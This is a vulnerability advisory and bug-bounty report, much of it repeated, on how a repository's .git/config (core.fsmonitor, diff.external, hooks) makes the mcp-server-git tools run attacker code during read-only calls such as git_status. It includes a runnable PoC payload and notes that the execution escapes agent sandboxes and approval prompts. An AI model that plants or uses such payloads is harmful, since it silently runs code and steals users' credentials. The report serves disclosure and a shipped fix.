Patched versions
Fixed in mcp-server-git 2026.11.11 (#5514). Upgrade to 2026.11.11 or later. The report below was written against 2026.11.4, before the fix; its "Fixed versions: none" line predates it.
The fix covers every sink the report lists, not only core.fsmonitor:
- Every Git command the server runs overrides, through
GIT_CONFIG_COUNT (which outranks every configuration file and is inherited by the Git processes Git itself starts), the settings that would make Git run a program: core.fsmonitor is false; core.hooksPath points at the null device, so no hook runs; commit.gpgSign and merge.verifySignatures are false; submodule.recurse, status.submoduleSummary and merge.autoStash are false; and core.pager is cat.
- Every filter driver (
filter.<name>.clean, smudge, process), merge driver (merge.<name>.driver) and branch.<name>.mergeOptions that the repository's own configuration defines is emptied. Drivers from the user's global or system configuration, such as Git LFS, keep working.
git_merge also passes --no-gpg-sign and --no-verify-signatures, and every diff shown as a patch passes --no-ext-diff and --no-textconv, so diff.external, diff.<driver>.command and textconv filters are ignored.
git_status and the diff tools pass --ignore-submodules=dirty, so Git never looks inside a submodule under the submodule's own configuration.
- A Git older than 2.31, which ignores
GIT_CONFIG_COUNT, is refused rather than run unprotected.
git_log and git_show do not run git log or git show, so log.showSignature is never consulted.
Workarounds
None for affected versions other than upgrading. Until then, point the server only at repositories whose .git directory you trust.
Original report
mcp-server-git: arbitrary command execution via a repository's own Git configuration (core.fsmonitor) during read-only tools
Asset: https://github.com/modelcontextprotocol (scoped asset of the HackerOne anthropic program)
Component: mcp-server-git (PyPI), the reference Git MCP server in modelcontextprotocol/servers (src/git)
Package version tested: mcp-server-git==2026.11.4 (PyPI wheel sha256 0cdaa8f446554d020f8ffa0e44ef45b89df4ed4deaeb961b4305d8a2852b4e0e, published 2026-11-04T21:34:52Z)
Default-branch revision tested: 36380287ed3b15d115b55f546617d723072b1296 (2026-11-04, src/git version 2026.11.4); the installed wheel's mcp_server_git/server.py is byte-identical to src/git/src/mcp_server_git/server.py at that revision (sha256 2304871e38ddd95ed807f628cc68b0e0cdd8ec2e82401110211ea8ea647715a5)
CWE: CWE-94 — Improper Control of Generation of Code ("Code Injection"); supporting: CWE-829 — Inclusion of Functionality from Untrusted Control Sphere
CVSS 4.0: 7.0 (HIGH) — CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Affected versions: mcp-server-git up to and including 2026.11.4 (verified on 2026.11.4 and 2026.10.28; earlier versions run the same Git commands and are presumed affected)
Fixed versions: none as of 2026-11-07
Also reproduced on: mcp-server-git==2026.10.28 (previous release; evidence/11-older-version.txt), with and without --repository confinement (evidence/12-unconfined-mode.txt)
Summary
mcp-server-git runs Git commands inside repositories chosen by the client without neutralising the repository's own configuration. Git honours command-bearing configuration keys from .git/config; core.fsmonitor names a program that Git executes whenever it refreshes the index. A call to the read-only git_status tool on an untrusted repository therefore executes an attacker-chosen program with the MCP server's privileges — its environment (including credentials from the client's env block), its filesystem access and its user — without any approval prompt and outside any sandbox that governs the model's own tool calls.
A second command-bearing key, diff.external, gives the same result through the read-only git_diff_unstaged and git_diff_staged tools. The command need not ship as a separate file: it can be inlined in the configuration line itself (core.fsmonitor = sh -c '…'), so a single edited .git/config is enough. The repository's configuration is never overridden: the server's only -c override is core.quotepath=false (src/git/src/mcp_server_git/server.py:104).
This is the vulnerability class publicly tracked as GitSpawn (CSA research note, 2026-09-03) and assigned CVEs for other agent tooling that shells out to Git: CVE-2026-45033 (GitHub Copilot CLI, core.fsmonitor, 8.5), CVE-2026-72718 (Goose, CWE-94, 7.0) and CVE-2026-71963 (Hermes Agent, 8.6). The mcp-server-git reference server has not applied the mitigation those vendors shipped, and no advisory or issue in the repository covers it.
Attack delivery
The malicious configuration lives in .git/config, so the repository must reach the user with its .git directory intact. That is the normal case for the delivery channels this class was reported against (Copilot CLI, Goose, Hermes Agent): a project archive or CI artifact, a backup, a shared network folder, a vendored dependency tree checked into or unpacked beside the user's project, or an agent workspace whose files were copied rather than cloned. A plain git clone of a repository does not copy server-side .git/config, and GitHub's source ZIP excludes .git; those two channels alone do not carry the payload. Everything else that preserves the folder structure does, and the user does not have to run anything inside the repository — one git_status call from the MCP server is enough.
Root cause
open_repo() (server.py:981-990) builds git.Repo(path), and GitPython executes git in that repository. The only configuration override anywhere in the server is core.quotepath=false:
# server.py:104
output = getattr(repo.git(c="core.quotepath=false"), command)(
*args, stdout_as_string=False
)
Git reads all other configuration from the repository's .git/config. Keys that name a program Git then runs include:
| key |
runs when |
server tool that triggers it |
core.fsmonitor |
any index refresh |
git_status, git_diff_unstaged, git_add, git_merge |
diff.external / diff.<driver>.command |
diff output |
git_diff_unstaged, git_diff_staged, git_diff |
core.hooksPath + hooks |
merge |
git_merge |
log.showSignature + gpg.program |
log |
git_log |
filter.<driver>.clean |
staging |
git_add |
commit.gpgSign + gpg.program |
merge commit |
git_merge |
The demonstrated sink is core.fsmonitor, because it fires on the most innocuous, typically auto-approved tool (git_status) and the payload need not print anything, so the tool result looks completely normal.
Steps to reproduce
Full runnable PoC: poc/ in this packet. The repository is self-contained: the payload script ships inside the repository and is named by its own .git/config, so it travels intact through any channel that preserves a .git directory (an archive, a shared folder, a vendored dependency tree, a CI workspace).
-
Install the exact published package (Python 3.10+; 3.12/3.15 used here):
python3 -m venv .venv
./.venv/bin/pip install "mcp-server-git==2026.11.4"
-
Create a project workspace that is itself a Git repository, and a nested "untrusted" repository inside it:
mkdir -p /tmp/poc/workspace/vendor/untrusted-repo
git -C /tmp/poc/workspace init -q
git -C /tmp/poc/workspace/vendor/untrusted-repo init -q
cd /tmp/poc/workspace/vendor/untrusted-repo
echo hello > README.md
git add README.md && git -c user.email=a@b -c user.name=a commit -qm init
printf '#!/bin/sh\nid > /tmp/poc/payload-ran.txt\n' > payload.sh
chmod +x payload.sh
git config core.fsmonitor ./payload.sh
-
Start the server confined to the workspace and call the read-only git_status tool on the nested repository. The PoC does this over stdio:
./poc/run.sh # fsmonitor scenario, tool git_status
The JSON-RPC exchanged is:
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"git_status","arguments":{"repo_path":"/tmp/poc/workspace/vendor/untrusted-repo"}}}
-
Observe that the payload ran. On this host:
[*] version : mcp-server-git 2026.11.4
[*] git_status result: Repository status:\nOn branch main\nUntracked files:\n ... payload.sh ...
[*] marker .../payload-executed.txt: EXISTS
PASS: repository-supplied command executed with the MCP server's environment
and read a file outside the repository
uid=501 pid=12741 canary=canary-b33fd412a6ff4100b37fb5652a9e5472 outside=outside-the-repository-content-2928
The marker records the payload's uid and pid, the value of an environment variable that exists only in the server process (MCP_GIT_POC_CANARY), and the contents of a file outside the repository — arbitrary code execution in the server's context, not a data-only bug.
-
Optional second sink and negative control:
./poc/run.sh --scenario diff-external # diff.external + git_diff_unstaged, same result
./poc/run.sh --scenario control # same repository, no key: nothing runs (PASS)
Raw transcripts of all three runs are in evidence/03-poc-fsmonitor.txt, evidence/04-poc-diff-external.txt and evidence/05-control.txt.
Observed vs expected
Observed. A read-only git_status (or git_diff_unstaged) call performs its normal work and returns a normal result, while a program named by the inspected repository's .git/config executes with the MCP server's privileges. git trace2 shows the exact command the server issues:
argv: ["git", "-c", "core.quotepath=false", "status"]
No core.fsmonitor override is present, so Git uses the repository's value (evidence/07-trace2-argv.txt).
Expected. Inspecting a repository with a read-only tool must not execute code supplied by that repository. The server should run Git with command-bearing configuration keys neutralised (for example -c core.fsmonitor=false, -c diff.external=, an empty hooks path), so the call in step 3 produces no process outside Git's own.
Impact
- Arbitrary code execution as the user running the MCP server. A developer running
uvx mcp-server-git executes the payload as themselves; a CI/agent runner executes it as the runner account.
- Credential and data theft. The payload inherits the server's environment — including any secrets passed through the MCP client's
env block — and can read the user's home directory, SSH keys, cloud credentials and every repository on the disk.
- No approval and no sandbox. The execution happens inside
git, not through the model's own command-execution tool, so client-side confirmation dialogs and tool sandboxes never engage. From the client's perspective it merely asked Git for status.
- No visible signal. The payload's output can be empty, and the tool result is the ordinary status text, so neither the user nor the model sees anything unusual.
- Trigger surface.
git_status is the most frequently called tool in the server (models call it to orient themselves), and the git_commit_message / git_summarize_changes prompts call git_diff_staged / git_status as well. diff.external was verified to fire on git diff --cached too, so the commit-message prompt is a second trigger.
Suggested fix
Neutralise the repository's configuration for every Git invocation, with the highest-precedence mechanism (GIT_CONFIG_COUNT / GIT_CONFIG_KEY_n / GIT_CONFIG_VALUE_n overrides every config file, exactly as GitHub's Copilot CLI fix for CVE-2026-45033 does). In open_repo(), immediately after git.Repo(path) and before validate_opened_repo() runs any Git command:
import tempfile
empty_hooks_dir = tempfile.mkdtemp(prefix="mcp-git-no-hooks-") # never populated
repo = git.Repo(path)
repo.git.update_environment(
GIT_CONFIG_COUNT="8",
GIT_CONFIG_KEY_0="core.fsmonitor", GIT_CONFIG_VALUE_0="false",
GIT_CONFIG_KEY_1="core.hooksPath", GIT_CONFIG_VALUE_1=str(empty_hooks_dir),
GIT_CONFIG_KEY_2="diff.external", GIT_CONFIG_VALUE_2="",
GIT_CONFIG_KEY_3="log.showSignature", GIT_CONFIG_VALUE_3="false",
GIT_CONFIG_KEY_4="commit.gpgSign", GIT_CONFIG_VALUE_4="false",
GIT_CONFIG_KEY_5="merge.verifySignatures", GIT_CONFIG_VALUE_5="false",
GIT_CONFIG_KEY_6="safe.bareRepository", GIT_CONFIG_VALUE_6="explicit",
GIT_CONFIG_KEY_7="core.pager", GIT_CONFIG_VALUE_7="cat",
)
and pass --no-ext-diff --no-textconv to the diff-producing commands (git_diff, git_diff_unstaged, git_diff_staged, and the diffs in git_show). For git_add, also override every filter.*.clean / filter.*.smudge key the repository defines (enumerate with git config --get-regexp '^filter\.'), or reject repositories that define filters. Add regression tests under src/git/tests/ that point core.fsmonitor and diff.external at a marker script and assert the marker is never created.
The minimal fix for the demonstrated sink is one key — core.fsmonitor=false — which this packet verified stops the payload (evidence/10-mitigation-check.txt). The broader set above is recommended because a fix scoped to one key leaves the other sinks live, the same scoping mistake Manifold's research found in other agents.
References
- GitSpawn: How a Git Config File Hijacks AI Coding Agents — Cloud Security Alliance, 2026-09-03, https://labs.cloudsecurityalliance.org/research/csa-research-note-gitspawn-ai-coding-agent-rce-20260903-csa/
- CVE-2026-45033 / GHSA-9ccr-r5hg-74gf — GitHub Copilot CLI,
core.fsmonitor, CVSS 4.0 8.5
- CVE-2026-72718 — Goose,
core.fsmonitor, CWE-94, CVSS 4.0 7.0
- CVE-2026-71963 — Hermes Agent,
core.fsmonitor, CVSS 4.0 8.6
git-config(1), core.fsmonitor and diff.external; git-fsmonitor--daemon(1)
- Upstream source:
src/git/src/mcp_server_git/server.py at 36380287 (_git_text line 104, git_status line 110, open_repo lines 981-990)
Notes on scope
- Non-DoS: this is arbitrary code execution, not a hang or allocation.
- The other reference-server classes in scope were probed and held: see
submission-checklist.md §"Other classes checked" and evidence/08-filesystem-path-probes.txt, evidence/09-fetch-ssrf-probes.txt.
- No existing advisory or issue covers this:
evidence/06-existing-advisories.txt.
Patched versions
Fixed in
mcp-server-git2026.11.11 (#5514). Upgrade to 2026.11.11 or later. The report below was written against 2026.11.4, before the fix; its "Fixed versions: none" line predates it.The fix covers every sink the report lists, not only
core.fsmonitor:GIT_CONFIG_COUNT(which outranks every configuration file and is inherited by the Git processes Git itself starts), the settings that would make Git run a program:core.fsmonitorisfalse;core.hooksPathpoints at the null device, so no hook runs;commit.gpgSignandmerge.verifySignaturesarefalse;submodule.recurse,status.submoduleSummaryandmerge.autoStasharefalse; andcore.pageriscat.filter.<name>.clean,smudge,process), merge driver (merge.<name>.driver) andbranch.<name>.mergeOptionsthat the repository's own configuration defines is emptied. Drivers from the user's global or system configuration, such as Git LFS, keep working.git_mergealso passes--no-gpg-signand--no-verify-signatures, and every diff shown as a patch passes--no-ext-diffand--no-textconv, sodiff.external,diff.<driver>.commandand textconv filters are ignored.git_statusand the diff tools pass--ignore-submodules=dirty, so Git never looks inside a submodule under the submodule's own configuration.GIT_CONFIG_COUNT, is refused rather than run unprotected.git_logandgit_showdo not rungit logorgit show, solog.showSignatureis never consulted.Workarounds
None for affected versions other than upgrading. Until then, point the server only at repositories whose
.gitdirectory you trust.Original report
mcp-server-git: arbitrary command execution via a repository's own Git configuration (
core.fsmonitor) during read-only toolsAsset:
https://github.com/modelcontextprotocol(scoped asset of the HackerOneanthropicprogram)Component:
mcp-server-git(PyPI), the reference Git MCP server inmodelcontextprotocol/servers(src/git)Package version tested:
mcp-server-git==2026.11.4(PyPI wheel sha2560cdaa8f446554d020f8ffa0e44ef45b89df4ed4deaeb961b4305d8a2852b4e0e, published 2026-11-04T21:34:52Z)Default-branch revision tested:
36380287ed3b15d115b55f546617d723072b1296(2026-11-04,src/gitversion2026.11.4); the installed wheel'smcp_server_git/server.pyis byte-identical tosrc/git/src/mcp_server_git/server.pyat that revision (sha2562304871e38ddd95ed807f628cc68b0e0cdd8ec2e82401110211ea8ea647715a5)CWE: CWE-94 — Improper Control of Generation of Code ("Code Injection"); supporting: CWE-829 — Inclusion of Functionality from Untrusted Control Sphere
CVSS 4.0: 7.0 (HIGH) —
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NAffected versions:
mcp-server-gitup to and including2026.11.4(verified on2026.11.4and2026.10.28; earlier versions run the same Git commands and are presumed affected)Fixed versions: none as of 2026-11-07
Also reproduced on:
mcp-server-git==2026.10.28(previous release;evidence/11-older-version.txt), with and without--repositoryconfinement (evidence/12-unconfined-mode.txt)Summary
mcp-server-gitruns Git commands inside repositories chosen by the client without neutralising the repository's own configuration. Git honours command-bearing configuration keys from.git/config;core.fsmonitornames a program that Git executes whenever it refreshes the index. A call to the read-onlygit_statustool on an untrusted repository therefore executes an attacker-chosen program with the MCP server's privileges — its environment (including credentials from the client'senvblock), its filesystem access and its user — without any approval prompt and outside any sandbox that governs the model's own tool calls.A second command-bearing key,
diff.external, gives the same result through the read-onlygit_diff_unstagedandgit_diff_stagedtools. The command need not ship as a separate file: it can be inlined in the configuration line itself (core.fsmonitor = sh -c '…'), so a single edited.git/configis enough. The repository's configuration is never overridden: the server's only-coverride iscore.quotepath=false(src/git/src/mcp_server_git/server.py:104).This is the vulnerability class publicly tracked as GitSpawn (CSA research note, 2026-09-03) and assigned CVEs for other agent tooling that shells out to Git: CVE-2026-45033 (GitHub Copilot CLI,
core.fsmonitor, 8.5), CVE-2026-72718 (Goose, CWE-94, 7.0) and CVE-2026-71963 (Hermes Agent, 8.6). Themcp-server-gitreference server has not applied the mitigation those vendors shipped, and no advisory or issue in the repository covers it.Attack delivery
The malicious configuration lives in
.git/config, so the repository must reach the user with its.gitdirectory intact. That is the normal case for the delivery channels this class was reported against (Copilot CLI, Goose, Hermes Agent): a project archive or CI artifact, a backup, a shared network folder, a vendored dependency tree checked into or unpacked beside the user's project, or an agent workspace whose files were copied rather than cloned. A plaingit cloneof a repository does not copy server-side.git/config, and GitHub's source ZIP excludes.git; those two channels alone do not carry the payload. Everything else that preserves the folder structure does, and the user does not have to run anything inside the repository — onegit_statuscall from the MCP server is enough.Root cause
open_repo()(server.py:981-990) buildsgit.Repo(path), and GitPython executesgitin that repository. The only configuration override anywhere in the server iscore.quotepath=false:Git reads all other configuration from the repository's
.git/config. Keys that name a program Git then runs include:core.fsmonitorgit_status,git_diff_unstaged,git_add,git_mergediff.external/diff.<driver>.commandgit_diff_unstaged,git_diff_staged,git_diffcore.hooksPath+ hooksgit_mergelog.showSignature+gpg.programgit_logfilter.<driver>.cleangit_addcommit.gpgSign+gpg.programgit_mergeThe demonstrated sink is
core.fsmonitor, because it fires on the most innocuous, typically auto-approved tool (git_status) and the payload need not print anything, so the tool result looks completely normal.Steps to reproduce
Full runnable PoC:
poc/in this packet. The repository is self-contained: the payload script ships inside the repository and is named by its own.git/config, so it travels intact through any channel that preserves a.gitdirectory (an archive, a shared folder, a vendored dependency tree, a CI workspace).Install the exact published package (Python 3.10+; 3.12/3.15 used here):
python3 -m venv .venv ./.venv/bin/pip install "mcp-server-git==2026.11.4"Create a project workspace that is itself a Git repository, and a nested "untrusted" repository inside it:
Start the server confined to the workspace and call the read-only
git_statustool on the nested repository. The PoC does this over stdio:./poc/run.sh # fsmonitor scenario, tool git_statusThe JSON-RPC exchanged is:
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}} {"jsonrpc":"2.0","method":"notifications/initialized"} {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"git_status","arguments":{"repo_path":"/tmp/poc/workspace/vendor/untrusted-repo"}}}Observe that the payload ran. On this host:
The marker records the payload's uid and pid, the value of an environment variable that exists only in the server process (
MCP_GIT_POC_CANARY), and the contents of a file outside the repository — arbitrary code execution in the server's context, not a data-only bug.Optional second sink and negative control:
Raw transcripts of all three runs are in
evidence/03-poc-fsmonitor.txt,evidence/04-poc-diff-external.txtandevidence/05-control.txt.Observed vs expected
Observed. A read-only
git_status(orgit_diff_unstaged) call performs its normal work and returns a normal result, while a program named by the inspected repository's.git/configexecutes with the MCP server's privileges.git trace2shows the exact command the server issues:No
core.fsmonitoroverride is present, so Git uses the repository's value (evidence/07-trace2-argv.txt).Expected. Inspecting a repository with a read-only tool must not execute code supplied by that repository. The server should run Git with command-bearing configuration keys neutralised (for example
-c core.fsmonitor=false,-c diff.external=, an empty hooks path), so the call in step 3 produces no process outside Git's own.Impact
uvx mcp-server-gitexecutes the payload as themselves; a CI/agent runner executes it as the runner account.envblock — and can read the user's home directory, SSH keys, cloud credentials and every repository on the disk.git, not through the model's own command-execution tool, so client-side confirmation dialogs and tool sandboxes never engage. From the client's perspective it merely asked Git for status.git_statusis the most frequently called tool in the server (models call it to orient themselves), and thegit_commit_message/git_summarize_changesprompts callgit_diff_staged/git_statusas well.diff.externalwas verified to fire ongit diff --cachedtoo, so the commit-message prompt is a second trigger.Suggested fix
Neutralise the repository's configuration for every Git invocation, with the highest-precedence mechanism (
GIT_CONFIG_COUNT/GIT_CONFIG_KEY_n/GIT_CONFIG_VALUE_noverrides every config file, exactly as GitHub's Copilot CLI fix for CVE-2026-45033 does). Inopen_repo(), immediately aftergit.Repo(path)and beforevalidate_opened_repo()runs any Git command:and pass
--no-ext-diff --no-textconvto the diff-producing commands (git_diff,git_diff_unstaged,git_diff_staged, and the diffs ingit_show). Forgit_add, also override everyfilter.*.clean/filter.*.smudgekey the repository defines (enumerate withgit config --get-regexp '^filter\.'), or reject repositories that define filters. Add regression tests undersrc/git/tests/that pointcore.fsmonitoranddiff.externalat a marker script and assert the marker is never created.The minimal fix for the demonstrated sink is one key —
core.fsmonitor=false— which this packet verified stops the payload (evidence/10-mitigation-check.txt). The broader set above is recommended because a fix scoped to one key leaves the other sinks live, the same scoping mistake Manifold's research found in other agents.References
core.fsmonitor, CVSS 4.0 8.5core.fsmonitor, CWE-94, CVSS 4.0 7.0core.fsmonitor, CVSS 4.0 8.6git-config(1),core.fsmonitoranddiff.external;git-fsmonitor--daemon(1)src/git/src/mcp_server_git/server.pyat36380287(_git_textline 104,git_statusline 110,open_repolines 981-990)Notes on scope
submission-checklist.md§"Other classes checked" andevidence/08-filesystem-path-probes.txt,evidence/09-fetch-ssrf-probes.txt.evidence/06-existing-advisories.txt.